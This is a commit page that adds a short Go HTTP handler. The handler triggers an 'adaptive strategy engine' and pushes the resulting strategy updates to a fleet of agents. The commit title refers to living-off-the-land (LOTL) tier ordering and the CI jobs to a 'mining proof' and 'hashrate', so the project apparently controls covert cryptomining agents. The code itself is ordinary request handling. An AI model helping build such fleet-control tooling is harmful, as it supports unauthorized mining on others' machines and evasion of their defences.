Add fleet adaptive strategy engine for proactive LOTL tier ordering
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
25
server/internal/api/strategy_handler.go
Normal file
25
server/internal/api/strategy_handler.go
Normal file
@@ -0,0 +1,25 @@
|
||||
package api
|
||||
|
||||
import "net/http"
|
||||
|
||||
type StrategyHandler struct {
|
||||
hub *WSHub
|
||||
}
|
||||
|
||||
func NewStrategyHandler(hub *WSHub) *StrategyHandler {
|
||||
return &StrategyHandler{hub: hub}
|
||||
}
|
||||
|
||||
func (h *StrategyHandler) PostRecompute(w http.ResponseWriter, r *http.Request) {
|
||||
if h.hub == nil || h.hub.adaptiveEngine == nil {
|
||||
http.Error(w, "adaptive strategy engine unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
count, err := h.hub.adaptiveEngine.RecomputeAll()
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
pushed := h.hub.PushAdaptiveStrategyUpdates()
|
||||
writeJSON(w, map[string]interface{}{"success": true, "recomputed": count, "pushed": pushed})
|
||||
}
|
||||
Reference in New Issue
Block a user